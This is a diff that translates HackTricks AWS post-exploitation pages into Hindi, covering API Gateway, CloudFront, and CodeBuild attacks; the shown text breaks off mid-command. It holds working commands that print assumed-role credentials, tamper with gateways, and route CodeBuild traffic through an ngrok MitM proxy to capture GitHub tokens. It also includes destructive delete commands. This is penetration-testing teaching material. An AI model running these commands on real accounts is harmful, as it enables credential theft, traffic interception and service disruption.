(Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..24a54a81d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ -# AWS - Post Exploitation - - - - - +# AWS - पोस्ट एक्सप्लॉइटेशन diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..ae4e45866 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -4,38 +4,34 @@ ## API Gateway -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### एक्सपोज़ न किए गए APIs तक पहुँचें -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +आप [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) में `com.amazonaws.us-east-1.execute-api` सेवा के साथ एक एंडपॉइंट बना सकते हैं, उस नेटवर्क में एंडपॉइंट को एक्सपोज़ करें जहाँ आपके पास पहुँच है (संभवतः एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाले सुरक्षा समूह को असाइन करें।\ +फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच प्राप्त कर सकेंगे और इसलिए उस गेटवे API को कॉल कर सकेंगे जो पहले एक्सपोज़ नहीं किया गया था। -### Bypass Request body passthrough +### अनुरोध शरीर पासथ्रू को बायपास करें -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +यह तकनीक [**इस CTF लेख**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) में पाई गई थी। -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +जैसा कि [**AWS दस्तावेज़**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` अनुभाग में संकेतित किया गया है, डिफ़ॉल्ट रूप से, मान **`WHEN_NO_MATCH`** , जब अनुरोध के **Content-Type** हेडर की जांच की जाती है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास करेगा। +इसलिए, CTF में API गेटवे में एक इंटीग्रेशन टेम्पलेट था जो **फ्लैग को रिस्पॉन्स में एक्सफिल्ट्रेट होने से रोक रहा था** जब एक अनुरोध `Content-Type: application/json` के साथ भेजा गया था: ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +हालांकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को रोका जा सकेगा। -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +अंत में, चूंकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, एक POST अनुरोध भेजकर जिसमें क्वेरी शरीर में हो और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया जाए: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` - ### Usage Plans DoS In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. @@ -45,7 +41,6 @@ The **API Key** just need to be **included** inside a **HTTP header** called **` ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच। > [!NOTE] -> Need testing +> परीक्षण की आवश्यकता है ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` की अनुमति है, **एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके**। ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**संभावित प्रभाव**: कैश किए गए डेटा तक अनधिकृत पहुंच, API ट्रैफ़िक को बाधित या इंटरसेप्ट करना। > [!NOTE] -> Need testing +> परीक्षण की आवश्यकता है ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं**। ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच। > [!NOTE] -> Need testing +> परीक्षण की आवश्यकता है ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +एक हमलावर जिसके पास `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` की अनुमति है, **API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जो संभावित रूप से API की सुरक्षा को कमजोर कर सकता है**। ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**संभावित प्रभाव**: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुंच की अनुमति देना या संवेदनशील जानकारी को उजागर करना। > [!NOTE] -> Need testing +> परीक्षण की आवश्यकता है ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +एक हमलावर जिसके पास अनुमतियाँ `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हैं, **नए API कुंजी बना सकता है, उन्हें उपयोग योजना के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है**। ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` - -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. +**संभावित प्रभाव**: API संसाधनों तक अनधिकृत पहुंच, सुरक्षा नियंत्रणों को बायपास करना। > [!NOTE] -> Need testing +> परीक्षण की आवश्यकता है {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..586f0f4e1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -4,7 +4,7 @@ ## CloudFront -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-cloudfront-enum.md @@ -12,24 +12,20 @@ For more information check: ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +यह [**ब्लॉग पोस्ट**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ विभिन्न परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront** के माध्यम से **संचार** में जोड़ा (या यदि यह पहले से उपयोग में है तो संशोधित) किया जा सकता है, जिसका उद्देश्य उपयोगकर्ता की जानकारी (जैसे सत्र का **कुकी**) को **चुराना** और **प्रतिक्रिया** को **संशोधित** करना (एक दुर्भावनापूर्ण JS स्क्रिप्ट को इंजेक्ट करना) है। -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### परिदृश्य 1: MitM जहाँ CloudFront को एक बकेट के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **दुर्भावनापूर्ण** **कार्य** बनाएं। +- इसे CloudFront वितरण के साथ **संलग्न** करें। +- **इवेंट प्रकार को "Viewer Response"** पर सेट करें। -Accessing the response you could steal the users cookie and inject a malicious JS. +प्रतिक्रिया को एक्सेस करते समय आप उपयोगकर्ताओं का कुकी चुरा सकते हैं और एक दुर्भावनापूर्ण JS इंजेक्ट कर सकते हैं। -#### scenario 2: MitM where CloudFront is already using a lambda function +#### परिदृश्य 2: MitM जहाँ CloudFront पहले से एक lambda फ़ंक्शन का उपयोग कर रहा है -- **Modify the code** of the lambda function to steal sensitive information +- संवेदनशील जानकारी चुराने के लिए lambda फ़ंक्शन का **कोड संशोधित करें**। -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +आप इस परिदृश्य को फिर से बनाने के लिए [**tf कोड यहाँ देख सकते हैं**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..251b90e13 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,7 +4,7 @@ ## CodeBuild -For more information, check: +अधिक जानकारी के लिए, देखें: {{#ref}} ../../aws-services/aws-codebuild-enum.md @@ -12,8 +12,8 @@ For more information, check: ### Check Secrets -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +यदि क्रेडेंशियल्स को Github, Gitlab या Bitbucket से कनेक्ट करने के लिए Codebuild में सेट किया गया है, व्यक्तिगत टोकन, पासवर्ड या OAuth टोकन एक्सेस के रूप में, तो ये **क्रेडेंशियल्स को सीक्रेट मैनेजर में सीक्रेट्स के रूप में स्टोर किया जाएगा**।\ +इसलिए, यदि आपके पास सीक्रेट मैनेजर को पढ़ने का एक्सेस है, तो आप इन सीक्रेट्स को प्राप्त कर सकते हैं और जुड़े प्लेटफॉर्म पर पिवट कर सकते हैं। {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -21,68 +21,56 @@ Therefore, if you have access to read the secret manager you will be able to get ### Abuse CodeBuild Repo Access -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +**CodeBuild** को कॉन्फ़िगर करने के लिए, इसे **कोड रेपो** तक **एक्सेस** की आवश्यकता होगी जिसका यह उपयोग करने जा रहा है। कई प्लेटफार्म इस कोड को होस्ट कर सकते हैं:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +**CodeBuild प्रोजेक्ट को कॉन्फ़िगर किए गए स्रोत प्रदाता तक एक्सेस होना चाहिए**, या तो **IAM भूमिका** के माध्यम से या github/bitbucket **टोकन या OAuth एक्सेस** के साथ। -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +एक हमलावर के पास **CodeBuild में उच्च अनुमतियाँ** होने पर, वह इस कॉन्फ़िगर किए गए एक्सेस का दुरुपयोग करके कॉन्फ़िगर किए गए रेपो और अन्य में कोड लीक कर सकता है जहाँ सेट क्रेड्स को एक्सेस है।\ +इसके लिए, एक हमलावर को बस **रेपो के लिए प्रत्येक रेपो का रिपॉजिटरी URL बदलने की आवश्यकता होगी** जिनके लिए कॉन्फ़िग क्रेडेंशियल्स को एक्सेस है (ध्यान दें कि aws वेब आपके लिए सभी को सूचीबद्ध करेगा):
-And **change the Buildspec commands to exfiltrate each repo**. +और **प्रत्येक रेपो को एक्सफिल्ट्रेट करने के लिए Buildspec कमांड बदलें**। > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> हालाँकि, यह **कार्य दोहरावदार और थकाऊ है** और यदि एक github टोकन को **लिखने की अनुमतियों** के साथ कॉन्फ़िगर किया गया था, तो एक हमलावर **उन अनुमतियों का (दुरुपयोग) नहीं कर पाएगा** क्योंकि उसके पास टोकन तक पहुँच नहीं है।\ +> या क्या है? अगले अनुभाग की जाँच करें ### Leaking Access Tokens from AWS CodeBuild -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: - +आप CodeBuild में दिए गए एक्सेस को Github जैसे प्लेटफार्मों पर लीक कर सकते हैं। जाँच करें कि क्या किसी बाहरी प्लेटफार्मों तक पहुँच दी गई थी: ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +एक हमलावर पूरे CodeBuild प्रोजेक्ट को हटा सकता है, जिससे प्रोजेक्ट कॉन्फ़िगरेशन का नुकसान होगा और प्रोजेक्ट पर निर्भर एप्लिकेशन पर प्रभाव पड़ेगा। ```bash aws codebuild delete-project --name ``` - -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. +**संभावित प्रभाव**: हटाए गए प्रोजेक्ट का उपयोग करने वाले अनुप्रयोगों के लिए प्रोजेक्ट कॉन्फ़िगरेशन का नुकसान और सेवा में बाधा। ### `codebuild:TagResource` , `codebuild:UntagResource` -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +एक हमलावर CodeBuild संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है। ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +एक हमलावर Git रिपॉजिटरी के लिए स्रोत क्रेडेंशियल्स को हटा सकता है, जो रिपॉजिटरी पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को प्रभावित करता है। ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**संभावित प्रभाव**: प्रभावित रिपॉजिटरी पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा, स्रोत क्रेडेंशियल्स को हटाने के कारण। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..87d9c5d14 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,73 +2,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens - -First, check if there are any source credentials configured that you could leak: +## Github/Bitbucket कॉन्फ़िगर किए गए टोकन पुनर्प्राप्त करें +पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं: ```bash aws codebuild list-source-credentials ``` - ### Via Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप **exfiltrate** उस **access** (**GH token या OAuth token**) को **specific docker image** का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए Codebuild को बना सकते हैं। -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +इसके लिए आप **एक नया Codebuild प्रोजेक्ट** बना सकते हैं या **Docker image** सेट करने के लिए एक मौजूदा प्रोजेक्ट के **environment** को बदल सकते हैं। -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. +आप जो Docker image उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)। यह एक बहुत ही बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको **`https_proxy`** और **`http_proxy`** में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने और **`SSL_CERT_FILE`** में निर्दिष्ट SSL CERT पर भरोसा करने की अनुमति देगा। 1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) +- अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और **docker image बनाएं**। +- **`http_proxy`** सेट न करें ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके। +- आप **`ngrok`** का उपयोग कर सकते हैं जैसे `ngrok tcp 4444` अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए। +- एक बार जब आपके पास Docker image बन जाए, तो **इसे एक सार्वजनिक repo** (Dockerhub, ECR...) पर **अपलोड करें**। 2. **Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +- **एक नया Codebuild प्रोजेक्ट** बनाएं या एक मौजूदा प्रोजेक्ट के वातावरण को **संशोधित** करें। +- प्रोजेक्ट को **पूर्व में उत्पन्न Docker image** का उपयोग करने के लिए सेट करें।
3. **Set the MitM proxy in your host** -- As indicated in the **Github repo** you could use something like: - +- जैसा कि **Github repo** में संकेतित किया गया है, आप कुछ ऐसा उपयोग कर सकते हैं: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> **mitmproxy संस्करण 9.0.1 का उपयोग किया गया था**, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता। -4. **Run the build & capture the credentials** +4. **बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें** -- You can see the token in the **Authorization** header: +- आप **Authorization** हेडर में टोकन देख सकते हैं: -
- -This could also be done from the aws cli with something like +
+यह aws cli से कुछ इस तरह भी किया जा सकता है ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. - -- First you need to enumerate the current configuration with something like: +**Codebuild** प्रोजेक्ट्स में एक सेटिंग होती है जिसे **`insecureSsl`** कहा जाता है जो वेब में छिपी होती है, आप इसे केवल API से बदल सकते हैं।\ +इसे सक्षम करने से, Codebuild को प्लेटफॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की **जांच किए बिना** रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है। +- सबसे पहले, आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह से सूचीबद्ध करने की आवश्यकता है: ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। निम्नलिखित मेरे प्रोजेक्ट को अपडेट करने का एक उदाहरण है, अंत में **`insecureSsl=True`** पर ध्यान दें (यह एकमात्र चीज है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलने की आवश्यकता है)। +- इसके अलावा, env वेरिएबल **http_proxy** और **https_proxy** को अपने tcp ngrok की ओर इंगित करते हुए जोड़ें जैसे: ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 